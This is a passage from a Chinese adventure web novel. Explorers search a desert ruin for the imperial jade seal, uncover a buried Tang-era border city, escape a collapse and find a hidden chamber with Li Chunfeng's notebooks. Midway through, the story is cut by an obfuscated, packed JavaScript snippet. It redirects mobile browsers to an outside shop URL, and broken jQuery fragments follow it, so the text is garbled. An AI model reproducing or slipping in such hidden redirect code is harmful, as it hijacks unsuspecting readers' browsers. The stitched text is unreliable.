阿砚取出火折子点燃火把,昏黄火光跳动,照亮黑漆漆的门。
苏幕潮湿阴冷的气息从洞内缓缓涌出来,和戈壁外面燥热的空气截然不同。
周晅握紧拐杖,咽了咽口水:“里面会有什么啊?”
显然,之前的沙鼠让他心有余悸。
崔珩倒是还算淡定:“那只有进去看了才知道,有可能什么都没有。”
“也有可能就是我们要找的!”
苏幕拎起自己一整套工具,率先往洞口挪了半步:“走吧,来都来了,肯定要看一眼嘛。”
随后便拎起自己工具开始哐哐哐凿门。
这门风化许久,倒是一砸就开。
众人摸进去,火把跳动的光晕在石室四壁游走,剥落的彩绘在火光下明明灭灭。
苏幕先是将前室翻查一遍,满眼尽是祭祀铜器、兽骨法器的碎片,并没有看见传国玉玺的踪迹,而零零散散寻到几块刻字石板,周晅将它立起来,发现上面是和图纸上一样的吐蕃古文字。
但除此之外,也并无其他更有价值的线索。
苏幕拿着小铲敲遍墙面,连石缝都细细掏过,只扒出锈蚀的箭镞,不由得有些泄气。
“绢帛指明此地,难不成线索就断在这些石板上?”
崔珩蹲下身,将火把压低,凑近地面细看。
脚下厚厚的积沙之下,并不全是原生岩石,有几处缝隙横平竖直,是人为砌筑的接缝,被流沙厚厚掩埋,不仔细看根本分辨不出。他伸手拨开一层浮沙,一大片打磨规整的青石板显露出来,石板之间留有凹槽。
“我知道了。我们所处的,只是上层的祭祀石室。”苏幕指尖叩了叩青石板,声音沉闷空洞,“底下是空的。这不是石室的底,这是楼板。下面可能还有东西。”
众人闻言,皆是一怔,方才全部注意力都放在四周墙壁与石坛,完全没有料到玄机藏在脚下。
苏幕立刻俯下身,沿着石板缝隙探查。她发现石板边缘有旧时榫卯卡槽,千百年来被沙土淤满。不能蛮力撬动,一旦楼板崩塌,所有人都会直接坠下去。
阿砚与周晅合力,小心清理缝隙里填塞的泥沙,苏幕则辨认构件咬合的方向,找准一块可以推移的盖板。林曦与崔珩举着火把守在一旁,时刻留意头顶崖壁,提防落沙塌方。
耗费大半时辰,那块沉重的石盖板缓缓横向挪开,一个黑漆漆的洞口豁然出现,一股混杂尘土与腐朽的凉气从下方涌上来。
下方幽深,隐约能看见残垣屋舍的轮廓,是一座沉在幽谷地下的古城废墟。
阿砚把火把向下探,火光照出一截倒塌的土坯墙体,街道的地基轮廓依稀可辨。
苏幕结合史料,推断这里似乎是昔日河西边境一座沦陷于战火的中原边城,后来曾被吐蕃占据,上头才加盖了祭祀石墟,岁月流转,整座城池尽数被流沙吞入地下。
几人依次顺着简易的绳梯,小心落进下层古城。
街道已经大半被黄沙填埋,屋舍倾颓,断墙林立。不少房舍还残留中原制式的土坯墙,残存的窗棂构架,是大唐边地的建筑风格。众人分开搜寻废弃屋舍,不少房舍内散落陶碗、瓦当,都是中原旧物。
在一间曾经作为官署的残屋之中,靠墙残存一方半埋沙土的石质案台。案台上压着一叠层层封裹的麻纸与帛书,外层涂抹防腐的树脂,隔绝一部分潮气,得以保存下来。
火光落在纸面。
上面既有边城的户籍、军屯卷宗,也有私人手记、边将往来记事。文字皆是中原汉字。
原来是当年守城官吏逃亡之前,封存于此的记载。
一卷手记详细记述当年城池陷落的始末,也记录下传国玉玺辗转流落至此的经过。
当年长安大乱,玉玺随避难之人一路西逃,最终送入这座边城。
城破那日,守将不愿玉玺落入外族之手,没有将它带出,而是将之藏了起来。
手记写得隐晦,没有直白写明具体藏点,只留下只言片语,指向古城之内某处地下窖藏。
周晅握着火把环顾四周,到处都是断壁残垣:“就算玉玺在这里,可范围这么大,要找出窖藏,绝非易事。”
就在这时,远处传来细碎的沙沙声响,上层石墟的沙土还在不断往下剥落。
阿砚抬眼望向头顶不断洒落细沙的缝隙,神色紧绷:“此地地质不稳,我们得抓紧了。”
脚下是河西戈壁深处的幽谷,两侧山体多是冻融风化形成的花岗岩与砾岩,白日戈壁烈日烘烤岩石,入夜又急剧降温,昼夜反复撕扯岩体,山体裂隙已然有很大的裂缝。
最先察觉到异样的是阿砚。他猛地抬头,头顶高处传来一阵沉闷低沉的隆隆闷响,不是落沙的细碎声,是整块岩体互相摩擦震颤的轰鸣,闷沉沉由远及近,仿佛整座大山在低吼。
“不好,山体要崩!”
话音未落,头顶石盖板的缺口处骤然倾泻下大量碎石泥沙,噼里啪啦砸落下来。
“大家快跑。”
阿砚挥开迎面飞来的小石块,目光飞快扫视四周。
周遭一间间土坯屋舍接二连三轰然垮塌,沙土尘埃遮蔽视线,周遭瞬间白茫茫一片,能见度骤降到几步之内。大块的岩块不断从缺口坠落,落地便碎裂,尘沙顺着地面漫开。
几人跌跌撞撞扑进一处残存的石拱回廊之下。
厚重的条石拱顶是整座地下古城残存最坚固的结构,轰隆巨响在四周不绝于耳,外侧屋舍尽数被崩落的冰岩碎石掩埋,无数黄沙顺着缝隙疯狂涌入回廊内部。
拱顶之上,不断有小石块震落下来,阿砚与崔珩二人举着宽大的废弃石案,勉强挡在头顶,承接砸落的碎块。
四下陷入一阵可怖的死寂,只剩岩石崩塌声,还有众人粗重急促的喘息。
“咱们真是命里犯了土,回头我得好好请人做做法事。”
苏幕忍不住吐槽。
隆隆的崩山之声持续许久,才一点点缓缓平息。
尘埃慢慢沉降。
几人躲在石拱之下得以保全性命,可回头望去,方才偌大的地下古城大半已经被冰岩、砾石与流沙彻底填埋。</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17960147|204168||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
p>
大半街巷、屋舍消失在乱石堆底下。原本可以用来参照寻找窖藏的诸多地标,尽数被毁。
石拱之外,放眼望去,又是一堆废墟。
苏幕从布囊摸出那卷帛书手记,万幸帛书完好无损。
震耳的轰鸣渐渐退去,石拱顶上依旧不断有碎石簌簌滚落。
甚至融冰顺着石缝往下淌,四周残存的土坯墙体还在不断开裂。
“不能困死在这里,拱顶撑不了多久!”苏幕抬手抹掉脸上的沙尘,拿火把快速扫视拱廊的石壁,大部分墙面已经被崩裂挤压,多处向外鼓胀。
周晅握紧腰间短刃,将林曦护在靠内一侧,苏幕手里攥着一把凿子,不停敲击石壁,试图寻出薄弱的缝隙。
“这里!”苏幕忽然一声低喝。
那是冰岩崩挤压岩层撕裂出来的裂隙,裂口宽窄不定,多处棱角锋利,还不断有细碎冰渣往下掉。
这是眼下唯一的生路,却也不知道裂隙通向何处,或许是死缝,或许会直接通向更深的地底。
阿砚先用长杆探入裂隙,敲落松动的冰石,防止众人穿行时被落石砸伤。
周晅在前开路,用刀劈砍凸起的岩块拓宽通路,林曦紧随其后。
崔珩护住苏幕往前头走。
众人弯腰弓背,跌跌撞撞,凭着一股韧劲,一点点向山体深处钻去。就在一行人快要体力耗尽,以为要困死在岩缝之时,前方忽然豁然开阔。
裂隙尽头,山体受到挤压,竟裂开一道可供人侧身而过的缺口。
他们本是奔着逃生寻路,阴差阳错,闯进了一间完全与世隔绝的地下密室。
跨进门内,身后的岩缝还在传来遥远的隆隆余响,可这间石室之内,却意外不受崩塌余波的直接冲击。四壁是打磨规整的青石,与外面边城官署的土坯建筑截然不同,建造工艺精细考究。穹顶做了拱券加固,用以隔绝可能出现的漏水。
这里不是普通的储藏窖穴。地面铺着磨平的石砖,靠墙还立着几具石质书案,案上安放着密封的木匣。
角落摆放着天文测算用的浑仪残件,还有罗盘、刻满星象的石板。空气中弥漫着陈旧墨料与木头朽化的淡淡气味。
“!!!”
苏幕屏住呼吸,上前小心掀开一具并未完全锈蚀的木匣。匣内以防潮的石灰与丝帛层层衬护,里面没有金玉重宝,没有传国玉玺,只有数册装订严谨的手抄手记,纸张经过特殊矾水处理,历经百余年,依旧大体完整。
封面上,一笔遒劲的楷书,落款赫然是——李淳风。
见到此字迹,所有人皆是心头一震。
崔珩翻开第一卷。
这书里记载的倒也不是寻常星象占卜。手记一半记录天象历算,另一半,却是当年西行的见闻秘录。李淳风当年奉朝廷之命西行河西,一来勘定边地历数,二来,暗中奉命寻访流落西疆的前朝重宝。
手记之中,清楚记下这座边城的来历,也写了当年传国玉玺被送入此地后的藏匿谋划。
可读到关键段落,几人神色一点点沉下去。